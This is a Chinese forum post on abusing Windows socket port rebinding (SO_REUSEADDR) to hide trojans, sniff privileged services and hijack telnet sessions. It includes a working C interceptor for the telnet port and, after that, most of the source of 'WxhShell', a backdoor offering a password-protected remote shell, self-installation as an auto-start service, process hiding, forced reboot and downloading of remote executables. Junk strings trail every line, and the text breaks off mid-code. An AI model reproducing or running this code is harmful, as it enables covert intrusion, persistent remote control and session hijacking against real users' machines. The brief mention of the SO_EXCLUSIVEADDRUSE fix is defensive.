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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @/UfD ye  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I^Z8PEc+  
[_xyl e  
  saddr.sin_family = AF_INET; dGwszziuK  
]S 7^ITn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0J~Qq]g  
iq*A("pU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); UofTll)  
(qwdQMj`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 6b~28  
/HZumV?  
  这意味着什么?意味着可以进行如下的攻击: yg]2erR  
zdSh:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m=qOg>k  
#=}$OFg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2i|B=D(  
%]p6Kn/>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 c<+;4z  
%f8Qa"j  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2=ztKfsBhE  
 8RwX=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 t5 a7DD  
BKU'`5`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~YCuO0t  
>6Lm9&}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Mp\<cE  
6aOp[-Le  
  #include z1,tJH0  
  #include 1px\K8  
  #include nws"RcP+Z  
  #include    bXM/2Z?6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A<YsfDa_d  
  int main() j;K#]  
  { -Cid3~mX3  
  WORD wVersionRequested; u1K\@jlw  
  DWORD ret; ^Jp*B;  
  WSADATA wsaData; 0=v{RQ;W4  
  BOOL val; *Dr5O9Y  
  SOCKADDR_IN saddr; )y7_qxwbV  
  SOCKADDR_IN scaddr; em2_pq9q  
  int err; t^E hE  
  SOCKET s; d`Q7"}uZ  
  SOCKET sc; wb"RB A9  
  int caddsize; > 7`&0?  
  HANDLE mt; f"&Xr!b.h  
  DWORD tid;   # k5#j4!b  
  wVersionRequested = MAKEWORD( 2, 2 ); }fhHXGK.  
  err = WSAStartup( wVersionRequested, &wsaData ); :6;e\UE  
  if ( err != 0 ) { ?a/n<V '  
  printf("error!WSAStartup failed!\n"); UEzi*"-v2  
  return -1; ! d9AG|  
  } A~lIa$U$b  
  saddr.sin_family = AF_INET; >{Rb 3Z]  
   &d`^ E6#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3]E(mRX  
xk~Nmb}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <M[U#Q~?~e  
  saddr.sin_port = htons(23); -pTI?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :XT?jdg  
  { L&Qi@D0P  
  printf("error!socket failed!\n"); ;)!"Ty|  
  return -1; G5]1s  
  } C>|@& o1  
  val = TRUE; {,O`rW_eS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 k3@HI|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VGH/X.NJ  
  { g8pm2o@S  
  printf("error!setsockopt failed!\n"); L*]E`Xxd9  
  return -1; >HkhAJhW  
  } F}ukZ DB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HW7FP]NH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [EHrIn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 evl -V>   
'zgvQMu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sM\&. <B  
  { lUh*?l  
  ret=GetLastError(); w.kCBDL  
  printf("error!bind failed!\n"); heD,& OX  
  return -1; [^PCm Z6n  
  } @Hr+/52B  
  listen(s,2); ?p8k{N(1  
  while(1) r!/0 j)  
  { nx4P^P C  
  caddsize = sizeof(scaddr); P0\eB S  
  //接受连接请求 {^RG% &S  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +p/1x'J  
  if(sc!=INVALID_SOCKET) Nh)[r x  
  { xDrV5bg  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4u:0n>nJ1  
  if(mt==NULL) Q2~5"  
  { ! gp}U#Yv  
  printf("Thread Creat Failed!\n"); ~-Oa8ww  
  break; )}X5u%woV  
  } gAE!a Ky  
  } kC^.4n om  
  CloseHandle(mt); StQ@g  
  } rH}fLu8,;Q  
  closesocket(s); C%H9[%k  
  WSACleanup(); C*wdtEGq  
  return 0; kN'Thq/ZE  
  }   v}il(w;O  
  DWORD WINAPI ClientThread(LPVOID lpParam) a[O6YgO  
  { .1ddv4Hk  
  SOCKET ss = (SOCKET)lpParam; >,g5Hkmqr  
  SOCKET sc; 2Ug.:![  
  unsigned char buf[4096]; >riq98Us/  
  SOCKADDR_IN saddr; }]h \/,  
  long num; jE U'.RBN%  
  DWORD val; -l.pA(O  
  DWORD ret; y1(P<7:t?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ujx-jIhT_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _5\AS+[x  
  saddr.sin_family = AF_INET; ^L O]Z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3YTIH2z 5  
  saddr.sin_port = htons(23); ;mJkqbVol  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8gpBz'/,  
  { 2lz {_9  
  printf("error!socket failed!\n"); G\/IM  
  return -1; Hhf72IX  
  } Wu{&;$  
  val = 100; iK x+6v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DPPS?~Pq  
  { ( Yi=v'd  
  ret = GetLastError(); T7GQ^WnA  
  return -1; ;nf&c;D  
  } Iu6W=A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +L6" vkz  
  { rdI]\UH  
  ret = GetLastError(); )<LI%dQ:'l  
  return -1; +2O=s<fp  
  } MuSaK %  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Es:6  
  { z_(eQP])  
  printf("error!socket connect failed!\n"); !"(u_dFw  
  closesocket(sc); 8?Wgawx  
  closesocket(ss); |4xo4%BQ>  
  return -1; 4hNwKe"Ki  
  } aiR5/ ZD  
  while(1) |LFUzq>j  
  { H0tF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8m7eaZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /Su)|[/'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zv9M HC &  
  num = recv(ss,buf,4096,0); #J~Xv:LgD  
  if(num>0) =5_y<0`4  
  send(sc,buf,num,0); #O6 EP#B  
  else if(num==0) fIEw(k<*  
  break; C@)pmSQ  
  num = recv(sc,buf,4096,0); rys<-i(  
  if(num>0) /d]~ly @uI  
  send(ss,buf,num,0); # `58F.  
  else if(num==0) "8_,tYAH  
  break; .P%ym~S  
  } zW)gC9_|m-  
  closesocket(ss); E.#6;HHzN  
  closesocket(sc); KZ4zF  
  return 0 ; 1*#bfeoM  
  } CSH`pU  
9mm2Vps;  
O99mic  
========================================================== x.G"D(  
u !.DnKu  
下边附上一个代码,,WXhSHELL ULTNhq R*n  
#'g^Za  
========================================================== \AJS,QD  
{0fz9"|U  
#include "stdafx.h" =?+w)(*0c  
#jgqkMOd,j  
#include <stdio.h> 4[(? L{  
#include <string.h> Lv3XYZgW~  
#include <windows.h> :B+Rg cqi  
#include <winsock2.h> To^# 0  
#include <winsvc.h> /THNP 8.  
#include <urlmon.h> 6ZTaQPtm  
yI:r7=KO  
#pragma comment (lib, "Ws2_32.lib") vh{9'vd3el  
#pragma comment (lib, "urlmon.lib") %2zas(b9j  
(qj,GmcS  
#define MAX_USER   100 // 最大客户端连接数 9[,s4sxH  
#define BUF_SOCK   200 // sock buffer l-MxLcz  
#define KEY_BUFF   255 // 输入 buffer bu&;-Ynb  
# hZQ>zcF  
#define REBOOT     0   // 重启 4D GY6PS  
#define SHUTDOWN   1   // 关机 :F9q>  
qdO[d|d  
#define DEF_PORT   5000 // 监听端口 m1i4,  
n/?eZx1  
#define REG_LEN     16   // 注册表键长度 B MY>a  
#define SVC_LEN     80   // NT服务名长度 5<^'Cy  
\{:%v#ZZ  
// 从dll定义API 1ThwvF%Qo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >kZ6f4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )]tvwEo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {Evcc+E q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z/n3aYM  
yqYhe-"  
// wxhshell配置信息 8Kk3_ y  
struct WSCFG { lD-V9   
  int ws_port;         // 监听端口 FQ0KU b}0  
  char ws_passstr[REG_LEN]; // 口令 =g >.X9lr  
  int ws_autoins;       // 安装标记, 1=yes 0=no "0b?+ 3_{G  
  char ws_regname[REG_LEN]; // 注册表键名 KS?mw`Nr  
  char ws_svcname[REG_LEN]; // 服务名 OWZS3Y+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 au,jAk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y+5"uq<'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?Q;kZmQl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B(8mH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" </|)"OD9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YsZ{1W  
bI#<Ee0nJ  
}; )`mbf|,&t{  
{:,_A  
// default Wxhshell configuration & &6*ez  
struct WSCFG wscfg={DEF_PORT, luibB&p1  
    "xuhuanlingzhe", F. }l(KuJ  
    1, %v_IX2'  
    "Wxhshell", G5Je{N8W  
    "Wxhshell", 2YE7 23H=Z  
            "WxhShell Service", 3IGCl w(  
    "Wrsky Windows CmdShell Service", :fRmUAK%  
    "Please Input Your Password: ", Z^{+,$H@  
  1, Sf=F cb  
  "http://www.wrsky.com/wxhshell.exe", E2kW=6VO>|  
  "Wxhshell.exe" ;*W=c   
    }; TeKC} NW  
H_Iim[v#  
// 消息定义模块 Jc`Rs"2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \Bt =bu>Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gxI&f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~:T3|  
char *msg_ws_ext="\n\rExit."; r}ZLf  
char *msg_ws_end="\n\rQuit."; c6t2Q6zV  
char *msg_ws_boot="\n\rReboot..."; >6OCKl  
char *msg_ws_poff="\n\rShutdown..."; sTt9'P`  
char *msg_ws_down="\n\rSave to "; >_-!zjO8u  
``+c`F?5  
char *msg_ws_err="\n\rErr!"; cES;bwQ  
char *msg_ws_ok="\n\rOK!"; $p jf#P8U  
TH<fbd  
char ExeFile[MAX_PATH]; m dC`W&r  
int nUser = 0; iD.0J/  
HANDLE handles[MAX_USER]; Y 5Qb4Sa  
int OsIsNt;  dhZ Zb  
}iD$4\ L  
SERVICE_STATUS       serviceStatus; GhtbQM1[H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K?9WY ]Ot  
"!xvpsy  
// 函数声明 $U~=.!_du  
int Install(void); zpbcmQB*  
int Uninstall(void); {cmo^~[L$  
int DownloadFile(char *sURL, SOCKET wsh); ok%EqO  
int Boot(int flag); ,>&?ty9o  
void HideProc(void); $[j-C9W  
int GetOsVer(void); 5LO4P>fq  
int Wxhshell(SOCKET wsl); 9!5b2!JL  
void TalkWithClient(void *cs); jaK'W  
int CmdShell(SOCKET sock); &aY/eD  
int StartFromService(void); 5woIGO3X  
int StartWxhshell(LPSTR lpCmdLine); KLG6QBkj  
4sj9Z:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +Y^-e.UO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'uPxEu4 >4  
Rl y jOf{0  
// 数据结构和表定义 l?})_1v,R  
SERVICE_TABLE_ENTRY DispatchTable[] = |.y>[+Qb*  
{ L& I` #  
{wscfg.ws_svcname, NTServiceMain}, 4\&H?:c.  
{NULL, NULL} ? UxG/]",  
}; BO8%:/37[4  
cC b>zI  
// 自我安装 ;>inT7?3|  
int Install(void) 9@( O\xr  
{ 5tN%a>D%  
  char svExeFile[MAX_PATH]; Bh\ [ CY  
  HKEY key; g!p+rq_f  
  strcpy(svExeFile,ExeFile); sVE>=0TVP  
Z~duJsH  
// 如果是win9x系统,修改注册表设为自启动 %|# P&`  
if(!OsIsNt) { 2ZU@>W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ''$`;?t>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :5r:I[FFy  
  RegCloseKey(key); R"m.&%n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'wCS6_K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -$AjD?;   
  RegCloseKey(key); 0\V\qAk  
  return 0; uOyLC<I/  
    } hCU)W1q#  
  } p#ZMABlE,P  
} ' %bj9{(0  
else { lf?Z{^  
+<'uw  
// 如果是NT以上系统,安装为系统服务 Iu)L3_+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xnl<<}4pJ  
if (schSCManager!=0) M /n[&  
{ *raIV]W3  
  SC_HANDLE schService = CreateService |M[v493\  
  ( K~7'@\2 ?  
  schSCManager, ^?H\*N4  
  wscfg.ws_svcname, ] +}:VaeA  
  wscfg.ws_svcdisp, N b#H@zm  
  SERVICE_ALL_ACCESS, ^JYF1   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +9<,3IJe6  
  SERVICE_AUTO_START, 0z#l0-NdQ  
  SERVICE_ERROR_NORMAL, |usnY  
  svExeFile, [{6&.v  
  NULL, /.pa ??u  
  NULL, nG&w0de<>  
  NULL, X;K8,A7`  
  NULL, sq8tv]  
  NULL h#(.(d  
  ); f9h:"Dnzin  
  if (schService!=0) sW>P-  
  { 5*G8W\ $  
  CloseServiceHandle(schService); Pur"9jHa4  
  CloseServiceHandle(schSCManager); :vn0|7W4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iqU.a/~y  
  strcat(svExeFile,wscfg.ws_svcname); *>}McvtTw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >m)2ox_B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PO=ZxG   
  RegCloseKey(key); '^P*F9  
  return 0; Y\Fuj)  
    } ?X8K$g  
  } j8D$/  
  CloseServiceHandle(schSCManager); z1}tC\9'%  
} )_x8?:lv  
} 4wM$5  
a=}">=]7  
return 1; oHP >v_ X  
} K8Kz  
Ep v3/ `I  
// 自我卸载 MJ*oeI!.=  
int Uninstall(void) .R<s<]  
{ ,M+h9_&0?  
  HKEY key; (rY1O:*S  
d-A%ZAkE]  
if(!OsIsNt) { {ra Esb-X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tyG nG0GK  
  RegDeleteValue(key,wscfg.ws_regname); ?(`nBlWQ5  
  RegCloseKey(key); sKE*AGFL d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n WO~v{h3J  
  RegDeleteValue(key,wscfg.ws_regname); egIS rmL+X  
  RegCloseKey(key); {~B4F}ES  
  return 0; c'wU O3S  
  } v J,xz*rc`  
} x.yb4i=Jq  
} h} b^o*  
else { 6|(7G64{  
j:vD9sdQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^*owD;]4_  
if (schSCManager!=0) cbg3bi  
{ 01SFOPuR%(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c,u$tnE)  
  if (schService!=0) w4&v( m  
  { 802]M  
  if(DeleteService(schService)!=0) { ZP G8q  
  CloseServiceHandle(schService); ?M1 QJ  
  CloseServiceHandle(schSCManager); OM"T)4z  
  return 0; 1<Ztk;$A  
  } (WU~e!}  
  CloseServiceHandle(schService); 5kL#V  
  } wxr}*Z:ZMa  
  CloseServiceHandle(schSCManager); ^Qb!k/$3y  
} zDQ\PZ~  
} Y;F,GxR}  
`\/Wah}I  
return 1; 9#=IrlV4  
} Se]t;7j  
W3{5Do.h  
// 从指定url下载文件 =S?-=jPtg  
int DownloadFile(char *sURL, SOCKET wsh) HpgN$$\@  
{ EXM/>PG  
  HRESULT hr; rq|czQ  
char seps[]= "/"; eC1c`@C:  
char *token; (^OC%pc  
char *file; }X.8.S'  
char myURL[MAX_PATH]; Jut'xA2Dr  
char myFILE[MAX_PATH]; ,C12SM*@  
FK,r<+h  
strcpy(myURL,sURL); 0BU:(o&  
  token=strtok(myURL,seps); h"%,eW|^  
  while(token!=NULL) YUE 1 '}  
  { hE3jb.s(>  
    file=token; Jv$2wH  
  token=strtok(NULL,seps); Sv]"Y/N  
  } Z( clw  
N`mC_)  
GetCurrentDirectory(MAX_PATH,myFILE); =P+wp{?AN|  
strcat(myFILE, "\\"); oFx gR9  
strcat(myFILE, file); f \%X 7.  
  send(wsh,myFILE,strlen(myFILE),0); =GS_ G;Dz  
send(wsh,"...",3,0); 74!JPOpQH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L bK1CGyA  
  if(hr==S_OK) K {N;k-  
return 0; hQRc,d6x5  
else r?{LQWP>e  
return 1; qb/!;U_  
Y&:\s8C  
} } jy7,+  
Bf}0'MK8zQ  
// 系统电源模块 r -DD*'R  
int Boot(int flag) 4xC6#:8  
{ !P3tTL!*L  
  HANDLE hToken; g&20F`.N*>  
  TOKEN_PRIVILEGES tkp; ~#xs `@{s  
^K@ GK  
  if(OsIsNt) { R5YtCw]i=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q0cf]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xuC6EK+  
    tkp.PrivilegeCount = 1; G`<1>%" F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \>CBam8d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wB 0WR  
if(flag==REBOOT) { ^{,}, i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ="*C&wB^  
  return 0; Z|7I }i  
} f#JF5>o  
else { NomK(%8m$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,wy:RVv@e  
  return 0; W;j)ux7jMY  
} ntUVhIE0  
  } !Kn+*'#  
  else { cF6@.)  
if(flag==REBOOT) { (>% Vj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )FiU1E  
  return 0; .St h  
} %JU23c*  
else { a*@Z^5f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 60gn`s,,  
  return 0; mTu9'/$(  
} 2+rao2  
} "alO"x8t  
JQv ZTwSI  
return 1; Xrs~ove1V  
} #nL0Hx7]E  
YmF(o  
// win9x进程隐藏模块 2QD B'xs3  
void HideProc(void) Tl{r D(D  
{ )4O`%9=M&  
MjosA R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :)S4MoG  
  if ( hKernel != NULL ) z^a?t<+  
  { {nWtNyJpS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D%}o26K.C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0iq$bT|  
    FreeLibrary(hKernel); z~;qDf|I  
  } { ^k,iTx   
uy28=B E  
return; 8i~'~/x  
} .}opmI  
}Qu 7o  
// 获取操作系统版本 :Gk~FRA|  
int GetOsVer(void) |iThgq_\z  
{ f\_Q+!^  
  OSVERSIONINFO winfo; y(g Otg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -Q8`p  
  GetVersionEx(&winfo); ))zaL2UP.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nmAXU!t'  
  return 1; ^OsUWhkV  
  else =I3U.^ :  
  return 0; BuO J0$  
} ^@cX0_  
9%veUvY  
// 客户端句柄模块 %zVv3p:  
int Wxhshell(SOCKET wsl) y 9mZQq  
{ |/ 7's'  
  SOCKET wsh; -i gZU>0B_  
  struct sockaddr_in client; uZI:Kt#  
  DWORD myID; >sY+Y22U  
6<O]_HZ&  
  while(nUser<MAX_USER) %-1-J<<J q  
{ $VNn`0^gF  
  int nSize=sizeof(client); ZSf+5{2m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *38\&"s4_  
  if(wsh==INVALID_SOCKET) return 1; ;\0RXirk  
IKj1{nZvDc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `2+52q<FO  
if(handles[nUser]==0) l0o_C#"<S  
  closesocket(wsh); <\ c8q3N  
else \Fjq|3`<l  
  nUser++; 1Ez A@3:{  
  } M#,+p8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {[iQRYD0|  
msJn;(Pn  
  return 0; i oQlC4Y  
} G*V 7*KC  
Sv",E@!f  
// 关闭 socket At:C4>HE@  
void CloseIt(SOCKET wsh) x=+H@YO\  
{ !9Ni[8&Fg0  
closesocket(wsh); %8}w!2D S  
nUser--; <FLc0s  
ExitThread(0); ~)(Dm+vZ  
} gW%(_H mX  
a2n#T,kq&  
// 客户端请求句柄 6ng9 o6  
void TalkWithClient(void *cs) X:bgY  
{ /d;l:  
=-Tetp  
  SOCKET wsh=(SOCKET)cs; .v!e=i}.  
  char pwd[SVC_LEN]; z81!F'x;  
  char cmd[KEY_BUFF]; 3"RZiOyv  
char chr[1]; -': tpJk  
int i,j; 6FAP *V;  
~Y[b QuA=)  
  while (nUser < MAX_USER) { }x-8@9S~z  
L@uKE jR  
if(wscfg.ws_passstr) { xEqrs6sR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eZo%q,L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ObnB6ShKi  
  //ZeroMemory(pwd,KEY_BUFF); )HcC\[  
      i=0; b9jm= U  
  while(i<SVC_LEN) { wVX0!y6  
^|z>NV5>  
  // 设置超时 Ac%K+Pgk.  
  fd_set FdRead; ~KvCb3~X  
  struct timeval TimeOut; $'wl{D"  
  FD_ZERO(&FdRead); 7 |A,GH  
  FD_SET(wsh,&FdRead); y+<HS]vyV  
  TimeOut.tv_sec=8; n_Dhq(.  
  TimeOut.tv_usec=0; Qmn5-yiw1d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [sRQd;+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6IH^rSUSK  
L"0L_G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~I74'  
  pwd=chr[0]; :}-[%LSV  
  if(chr[0]==0xd || chr[0]==0xa) { nz+KA\iW  
  pwd=0; S{06bLXU"  
  break;  73X]|fy  
  } ujedvw;sO  
  i++; ^} #!?" Y  
    } KYaf7qy]  
D=$<E x^p  
  // 如果是非法用户,关闭 socket ml2HA4X&$Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =nl,5^  
} fq'Of wT  
~1oD7=WN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); C_/oORvK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a6OT2B  
g*uO IF  
while(1) { 1d6pQ9 N  
|ouk;r24V  
  ZeroMemory(cmd,KEY_BUFF); Uw!v=n3#!  
WF7RMQ51j  
      // 自动支持客户端 telnet标准   J0k~%   
  j=0; J\BdC];  
  while(j<KEY_BUFF) { =W=%!A\g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #</yX5!V  
  cmd[j]=chr[0]; xUUp ?]9y  
  if(chr[0]==0xa || chr[0]==0xd) { C}Q2UK-:  
  cmd[j]=0; 2I  
  break;  AHb   
  } K.SHY!U}  
  j++; [%pZM.jFO  
    } ObUQB+  
P:+:Cm<  
  // 下载文件 Syb:i(Y  
  if(strstr(cmd,"http://")) { iGIaZ!j aW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z&8#1'  
  if(DownloadFile(cmd,wsh)) pWqahrWh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SzDi= lY  
  else *SZ<ori  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J.*=7zmw  
  } *4bV8T>0Z  
  else { *!/9?M{p  
h7{W-AtM7_  
    switch(cmd[0]) { G[mYx[BTz  
  4^r}&9C ~  
  // 帮助 ME.LS2'n  
  case '?': { }z[se)s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ic*Q(X  
    break; u|C9[(  
  } f]EHDcC3X  
  // 安装 sQkP@Y  
  case 'i': { !Kis,e  
    if(Install()) DbDpdC;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /i<g>*82  
    else MB)xL-jO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2WoB;=  
    break; '"&?u8u)  
    } A8?>V%b[Y  
  // 卸载 Z-:`{dns/  
  case 'r': { F {[Q  
    if(Uninstall()) 8[k-8h|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gs%kqD{=  
    else iR9iI!+;N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @RC_Ie=#)  
    break; L\UYt\ks  
    } u=4Rn  
  // 显示 wxhshell 所在路径 Y<B| e91C  
  case 'p': { <D__17W:;  
    char svExeFile[MAX_PATH]; C-(&zwj?!  
    strcpy(svExeFile,"\n\r"); \<5xf<{  
      strcat(svExeFile,ExeFile); *(rq AB0~  
        send(wsh,svExeFile,strlen(svExeFile),0); B\Uj  
    break; "}n]0 >J  
    } f-Sb:O!V  
  // 重启 (b(iL\B$D=  
  case 'b': { \Tc$P#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -6? 5|\  
    if(Boot(REBOOT)) 8WAg{lVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )3;S;b  
    else { "m!Cl-+u  
    closesocket(wsh); lHx$F ?  
    ExitThread(0); wDsEx!\#  
    } fE(rDQI  
    break; yEH30zSt  
    } EprgLZ1B  
  // 关机 yJ^}uw  
  case 'd': { @=$;^}JS|  
